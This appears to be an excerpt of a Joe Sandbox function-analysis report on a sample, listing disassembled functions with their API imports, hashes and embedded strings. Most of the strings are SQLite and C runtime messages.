Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove$memset
String ID:
API String ID: 3790616698-0
Opcode ID: 0c83a93755d946825c017e793fe281a7abc481f2419bd1d6e0b0f375d13f51b6
Instruction ID: 6b9ff65df36a9e0f8a27365e6affc449a2be4507cda934b6856a8eb106c9515f
Opcode Fuzzy Hash: 0c83a93755d946825c017e793fe281a7abc481f2419bd1d6e0b0f375d13f51b6
Instruction Fuzzy Hash: 4C218F62B1A74197D664DF1AB5410BAB3A1FB44BC0F081031DB8E47FA6DF2CE451C314

Function 00007FF6929FD440 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF6929FD4BF
WriteFile.KERNEL32 ref: 00007FF6929FD787
WriteFile.KERNEL32 ref: 00007FF6929FD7CD
GetLastError.KERNEL32 ref: 00007FF6929FD883

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: ed63d01fdc9f0d7cd72e25070a387a5b046f77b67a2e02b147e50877afa29e90
Instruction ID: e2ac24efb3d8d4128b0f2f7abdc81aeebc50f88b02ebdc985aa6daaea7ef1345
Opcode Fuzzy Hash: ed63d01fdc9f0d7cd72e25070a387a5b046f77b67a2e02b147e50877afa29e90
Instruction Fuzzy Hash: 44D1FF72B08A8089F760DF66D4402ED37B1FB45B9CB004275DE5EA7B8ADE78E916D310

Function 00007FF8A8A2E9E0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 267COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A8A2EB39
memmove.VCRUNTIME140 ref: 00007FF8A8A2EBC3
memmove.VCRUNTIME140 ref: 00007FF8A8A2ED0C

Strings

RETURNING may not use "TABLE.*" wildcards, xrefs: 00007FF8A8A2EA62

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: RETURNING may not use "TABLE.*" wildcards
API String ID: 2162964266-2313493979
Opcode ID: 5451e9bfa226b98cd478087a176e0b8a9523daf2a6b90ac03eb399999ea5db71
Instruction ID: caa3e3ec56b74a4950f2ba607772caedd5b449a8a3174eac1c0a029e1f156eac
Opcode Fuzzy Hash: 5451e9bfa226b98cd478087a176e0b8a9523daf2a6b90ac03eb399999ea5db71
Instruction Fuzzy Hash: 59B1D472B0AB8196D720EF1190456A977A5FB45BE0F484235DF6D077A6FF38E4A0C314

Function 00007FF8A8A761E0 Relevance: 6.3, APIs: 4, Instructions: 263COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000001,?,?,?,00000000,?,00007FF8A8A64F0C), ref: 00007FF8A8A7626D
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,00000000,?,00007FF8A8A64F0C), ref: 00007FF8A8A76440
memset.VCRUNTIME140(?,?,00000000,?,00007FF8A8A64F0C), ref: 00007FF8A8A76572
memmove.VCRUNTIME140(?,?,00000000,?,00007FF8A8A64F0C), ref: 00007FF8A8A76593

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memcmpmemmovememsetqsort
String ID:
API String ID: 662266247-0
Opcode ID: 1cafdbb1c31965a2c2ae43d4dc36f9901196bdc00c4ebd69dec30f1a9a06874d
Instruction ID: 12386d97e2b5ddbe73b6852784283add7bdac0d6da33350934d63f8d4d9e205a
Opcode Fuzzy Hash: 1cafdbb1c31965a2c2ae43d4dc36f9901196bdc00c4ebd69dec30f1a9a06874d
Instruction Fuzzy Hash: 47B16A31E0BA82A6EE648F15A94237963A0FF48BC4F080535DD4E86755FF3CF845972A

Function 00007FF8A8A2C990 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 238COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A8A2CBC7

Strings

INSERT INTO %Q.sqlite_master VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q'), xrefs: 00007FF8A8A2CBDA
trigger, xrefs: 00007FF8A8A2CA8B
type='trigger' AND name='%q', xrefs: 00007FF8A8A2CC28

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: INSERT INTO %Q.sqlite_master VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')$trigger$type='trigger' AND name='%q'
API String ID: 2162964266-84837866
Opcode ID: 54cb3e039ac67d1913e180ed3532b05917f17965c692ee198ee9fc3240bcf9b1
Instruction ID: a6fd4f9f8edbb86271e690159440c4fde9c80f9f5420f54dd28467b4b28cc7e8
Opcode Fuzzy Hash: 54cb3e039ac67d1913e180ed3532b05917f17965c692ee198ee9fc3240bcf9b1
Instruction Fuzzy Hash: B0A1BC6260BB8291EB24DB16A0417AA77A1FF84BC4F444135DE8D07BA9FF3CE441C359

Function 00007FF8A89F7060 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 231COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A89F7109

Strings

too many columns on %s, xrefs: 00007FF8A89F709C
duplicate column name: %s, xrefs: 00007FF8A89F71D6

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: duplicate column name: %s$too many columns on %s
API String ID: 2162964266-1445880494
Opcode ID: 142fb7364f357bffd97d2953a3d93a4f9e90a05e7bb9c67038520d7634a8abef
Instruction ID: fc303d4b9b51fe330184589904123e2968e87c190b9da975cbeea8a13d34ea19
Opcode Fuzzy Hash: 142fb7364f357bffd97d2953a3d93a4f9e90a05e7bb9c67038520d7634a8abef
Instruction Fuzzy Hash: 41912662A0E6C2B1EB198B11D4587B93B91FB05BC6F4D4136EE9E07281DF7EE451C324

Function 00007FF8A8A72E20 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 221COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8A36CB0: memset.VCRUNTIME140 ref: 00007FF8A8A36D2A

memmove.VCRUNTIME140 ref: 00007FF8A8A72F31

Strings

CREATE TABLE x(input, token, start, end, position), xrefs: 00007FF8A8A72E35
simple, xrefs: 00007FF8A8A72FB7
unknown tokenizer: %s, xrefs: 00007FF8A8A730A2

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmovememset
String ID: CREATE TABLE x(input, token, start, end, position)$simple$unknown tokenizer: %s
API String ID: 1288253900-2679805236
Opcode ID: 122327db9984948b77f7cec4431395b68d5d682e4d38d27d08f403d4cb281016
Instruction ID: 1b7e9bda026ce74acf20df156d5a37b80b3950a05e08ccf77dde334574c776b2
Opcode Fuzzy Hash: 122327db9984948b77f7cec4431395b68d5d682e4d38d27d08f403d4cb281016
Instruction Fuzzy Hash: EE91A022A0B682A6EB508F11E44537977A0FB84BC4F894135DA4E83B84FF3CF955D329

Function 00007FF6929FDE00 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6929FDDEB), ref: 00007FF6929FDF1C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6929FDDEB), ref: 00007FF6929FDFA7

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 72bdbade8f7f3669228eabd23d25320e309643dcfe9983c62a88d960f5e90d12
Instruction ID: abcfd1a2b546c272d4bf29954f79576271bced82bc48382c3a7ed68c04a9a8a1
Opcode Fuzzy Hash: 72bdbade8f7f3669228eabd23d25320e309643dcfe9983c62a88d960f5e90d12
Instruction Fuzzy Hash: FB91EB22E1865189F7B0AF2694406FE2BA0FB0578CF1441B5EE4E97A96DFBCD841E710

Function 00007FF8A8A05E70 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 215COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A8A060F8

Strings

-, xrefs: 00007FF8A8A060E5
, xrefs: 00007FF8A8A05F2E
orized, xrefs: 00007FF8A8A05F6A

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: $-$orized
API String ID: 2162964266-501658509
Opcode ID: 2c7a531d6c96aaab6b122b3b31e2002c6b72711ac7fe9553b1de46f2f79256f8
Instruction ID: 1262b06a133607c94f0ec6f7842e31c3ba017894026f1cbf5c02949dd9945bb3
Opcode Fuzzy Hash: 2c7a531d6c96aaab6b122b3b31e2002c6b72711ac7fe9553b1de46f2f79256f8
Instruction Fuzzy Hash: 52916B36A0BB42A6EB548F56944227967B0EF44BC8F188535DA4D07395FF7CF842C32A

Function 00007FF8A8A37C50 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 214COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A8A37DB8

Part of subcall function 00007FF8A8998910: memmove.VCRUNTIME140(?,?,?,00007FF8A89980EE), ref: 00007FF8A8998941

Strings

<expr>, xrefs: 00007FF8A8A37D49
AND , xrefs: 00007FF8A8A37C8C, 00007FF8A8A37CA7
rowid, xrefs: 00007FF8A8A37D84

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: AND $<expr>$rowid
API String ID: 2162964266-4041574714
Opcode ID: 5df65b1004e653511bb237c90cb6fca13fd59bef3b4a31aba6666278107e58f0
Instruction ID: c500612f3243f1ced9fd790d11261f6cc87a4950886fdf2c2fb9a1b3097817b9
Opcode Fuzzy Hash: 5df65b1004e653511bb237c90cb6fca13fd59bef3b4a31aba6666278107e58f0
Instruction Fuzzy Hash: 07A1B136A0E642AAEB14CF25D09253877A1EB45BC4F544035DE0E47394EF3DF981CBAA

Function 00007FF8A89C1AA0 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 212COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?,00007FF8A8999E43), ref: 00007FF8A89C1C11
memmove.VCRUNTIME140(?,?,?,00007FF8A8999E43), ref: 00007FF8A89C1C31
memmove.VCRUNTIME140(?,?,?,00007FF8A8999E43), ref: 00007FF8A89C1D65

Strings

-, xrefs: 00007FF8A89C1C22

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: -
API String ID: 2162964266-2547889144
Opcode ID: ee31ae02cd39bed74ba24db0a12ec11f42b4718df00f88efc5e29fdfd219d97f
Instruction ID: 179210b88b78c249cf58c6f8a2806948c6cc609234555c315e9625517d0b791e
Opcode Fuzzy Hash: ee31ae02cd39bed74ba24db0a12ec11f42b4718df00f88efc5e29fdfd219d97f
Instruction Fuzzy Hash: D691E5A2A0A74199EB648F26844837866A4EB40BE5F1C4632DF9D073D9DF3EDC41C76C

Function 00007FF8A8A36CB0 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A8A36D2A

Strings

1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886, xrefs: 00007FF8A8A36F9E
%s at line %d of [%.10s], xrefs: 00007FF8A8A36FBC
misuse, xrefs: 00007FF8A8A36FB0

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memset
String ID: %s at line %d of [%.10s]$1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886$misuse
API String ID: 2221118986-2665607955
Opcode ID: 5a090167d75c39ddda938327fd3639d905a00800c3f63facfc717e8f82a3c99c
Instruction ID: cf4e70d0c14b8009e3d6485e750d70caca058ff98f7655ba8fdf5a83e43031b2
Opcode Fuzzy Hash: 5a090167d75c39ddda938327fd3639d905a00800c3f63facfc717e8f82a3c99c
Instruction Fuzzy Hash: 48917E36A0BA82A6EF658F15D4412B963A0FF44FC4F140036DA4E47694FF7CE455D326

Function 00007FF8A89B1C90 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 187COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A89B1EFA

Strings

1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886, xrefs: 00007FF8A89B1D62
%s at line %d of [%.10s], xrefs: 00007FF8A89B1D7A
database corruption, xrefs: 00007FF8A89B1D6E

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memset
String ID: %s at line %d of [%.10s]$1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886$database corruption
API String ID: 2221118986-1728192754
Opcode ID: ae317f59ee5c6af17cc4bd53fa03d298516ed206f77bb746ac152992319cabb2
Instruction ID: f61ec141824a8ac790085e1ba84ebd1fe77b988fb1639f33daef3f1f4b47e62b
Opcode Fuzzy Hash: ae317f59ee5c6af17cc4bd53fa03d298516ed206f77bb746ac152992319cabb2
Instruction Fuzzy Hash: 15717D2290E1E26AE3299721A19C4BDBFD1E751382F4C4136EFDA43AC1DB2CE655D334

Function 00007FF8A89F8080 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 185COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A89F82D0

Strings

CREATE TABLE , xrefs: 00007FF8A89F81D8
, xrefs: 00007FF8A89F815A
, , xrefs: 00007FF8A89F813E

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: $, $CREATE TABLE
API String ID: 2162964266-3459038510
Opcode ID: 34bcfc1ae96bd8f0066425c17b8b58e58176de9b3fd5095fd2431d53015e4637
Instruction ID: 1e25f8b7ca1fd416a491305f51f857272d5fb638d260e37c509c0f9d7e2ea4ac
Opcode Fuzzy Hash: 34bcfc1ae96bd8f0066425c17b8b58e58176de9b3fd5095fd2431d53015e4637
Instruction Fuzzy Hash: 637146A3B1A681A5EB458F28D4442B97BA1FF44BE9F084236DA1D036D1EF7DE852C310

Function 00007FF8A89FE2B0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 168COMMON

Download Yara Rule

Strings

index '%q', xrefs: 00007FF8A89FE302
, , xrefs: 00007FF8A89FE335

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID: , $index '%q'
API String ID: 0-2319803734
Opcode ID: f706134ff427e1979fb7c672563d61d1933d9b24fd392b6bfebb3d65daa9f355
Instruction ID: aab9e579281080a78c0ff7bb8f15f90673dfe44ec5e9b22848922ca726a9f0a4
Opcode Fuzzy Hash: f706134ff427e1979fb7c672563d61d1933d9b24fd392b6bfebb3d65daa9f355
Instruction Fuzzy Hash: FF61D232F0A65199EB24DB69D4485BC37A0FB44798F080939DE2E5BBD4DFB8D841C368

Function 00007FF692A00B9C Relevance: 6.2, APIs: 4, Instructions: 161COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF692A00C8C
_get_daylight.LIBCMT ref: 00007FF692A00C9D
_get_daylight.LIBCMT ref: 00007FF692A00CAE
_isindst.LIBCMT ref: 00007FF692A00D79

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 1e65149fea67db38c583cbef9075d189eb690351c339e1a8e9f7c5b338f54ae1
Instruction ID: fbe89ace6dfd04b60a8a8a5857b103f7e4b2429ad6aea744c619477bc13570d0
Opcode Fuzzy Hash: 1e65149fea67db38c583cbef9075d189eb690351c339e1a8e9f7c5b338f54ae1
Instruction Fuzzy Hash: 8651F273F452128AFB38DF6499956BD27A1EB0236CF500275EE1E92AE5DF78B4428700

Function 00007FF8A89F2DE0 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 161COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A89F2FEA

Strings

no such database: %s, xrefs: 00007FF8A89F2EAF
cannot detach database %s, xrefs: 00007FF8A89F2EC0
database %s is locked, xrefs: 00007FF8A89F2F38

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: cannot detach database %s$database %s is locked$no such database: %s
API String ID: 2162964266-1259387423
Opcode ID: 11b3168c81a66d384523919f6d4fbeb5f426aec720c38fd1380c12a6e59d7aef
Instruction ID: 0148c306c1fd4849b21240e0698546a462f469fe4e2947840919520fafc05975
Opcode Fuzzy Hash: 11b3168c81a66d384523919f6d4fbeb5f426aec720c38fd1380c12a6e59d7aef
Instruction Fuzzy Hash: 3E611362A1A781A5EB688B86C0483B937A0FB08BD5F284136DF5D07789DF7CEC91C714

Function 00007FF8A8A1FAF0 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 158COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A8A1FCA2

Strings

rowid, xrefs: 00007FF8A8A1FC0F
%s.%s, xrefs: 00007FF8A8A1FC2E
column%d, xrefs: 00007FF8A8A1FC5C

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: %s.%s$column%d$rowid
API String ID: 2162964266-1505470444
Opcode ID: 545c6da56899a17d165842123ef47de83b27d93000c6d9119fe83d9b40b16d9b
Instruction ID: 07c5723e3117e99acb6935a6c50e880c00ce84eb2b0c60b828e00ff3d58d0d0d
Opcode Fuzzy Hash: 545c6da56899a17d165842123ef47de83b27d93000c6d9119fe83d9b40b16d9b
Instruction Fuzzy Hash: 5B717C2270ABC595EB608B16E4453AA73A4FB44BE4F084235DEAC47794EF39E441C725

Function 00007FF8A89A9C50 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 135COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A89A9D6F

Strings

1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886, xrefs: 00007FF8A89A9E22
%s at line %d of [%.10s], xrefs: 00007FF8A89A9E3B
database corruption, xrefs: 00007FF8A89A9E2F

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

